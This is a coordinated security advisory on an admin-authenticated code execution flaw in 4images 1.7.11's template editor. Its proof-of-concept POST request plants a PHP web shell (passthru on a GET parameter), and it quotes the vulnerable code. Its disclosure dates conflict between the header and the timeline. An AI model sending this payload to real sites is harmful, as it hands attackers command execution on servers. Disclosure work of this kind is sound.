4images 1.7.11 Code Execution

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: 4images 1.7.11  
Fixed in: 1.7.12  
Fixed Version Link: http://www.4homepages.de/download-4images  
Vendor Website: http://www.4homepages.de/  
Vulnerability Type: Code Execution  
Remote Exploitable: Yes  
Reported to vendor: 09/29/2015  
Disclosed to public: 11/04/2015  
Release mode: Coordinated release  
CVE: Requested, but not assigned  
Credits Tim Coen of Curesec GmbH  
  
2. Vulnerability Description  
  
CVSS  
  
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C  
  
Description  
  
4images comes with a HTML Template editor which allows the editing of HTML  
files. But it will also create a new file if the passed file name does not  
already exist. When doing this, it does not check that the extension of the  
passed file is .html.  
  
Admin credentials are required to use the HTML template editor.  
  
3. Proof of Concept  
  
  
POST /4images/admin/templates.php HTTP/1.1  
  
__csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default  
  
4. Code  
  
  
/admin/templates.php  
  
if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) {  
$template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']);  
$template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name);  
}  
else {  
$template_file_name = "";  
}  
  
if ($action == "savetemplate") {  
if (isset($HTTP_POST_VARS['content'])) {  
$content = trim($HTTP_POST_VARS['content']);  
}  
else {  
$content = "";  
}  
  
if ($template_file_name != "" && $content != "") {  
$content = un_htmlspecialchars($content);  
$content = stripslashes($content);  
$fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+");  
if (@fwrite($fp, $content)) {  
$msg = $lang['template_edit_success'];  
}  
else {  
$msg = sprintf("<span class=\"marktext\">%s</span>", $lang['template_edit_error']);  
}  
}  
$action = "modifytemplates";  
}  
  
5. Solution  
  
To mitigate this issue please upgrade at least to version 1.7.12:  
  
http://www.4homepages.de/download-4images  
  
Please note that a newer version might already be available.  
  
6. Report Timeline  
  
09/29/2015 Informed Vendor about Issue  
10/21/2015 Reminded Vendor of Disclosure Date  
11/03/2015 Vendor releases fix  
11/17/2015 CVE Requested (no reply)  
12/02/2015 Disclosed to public  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/4images-1711-Code-Execution-105.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`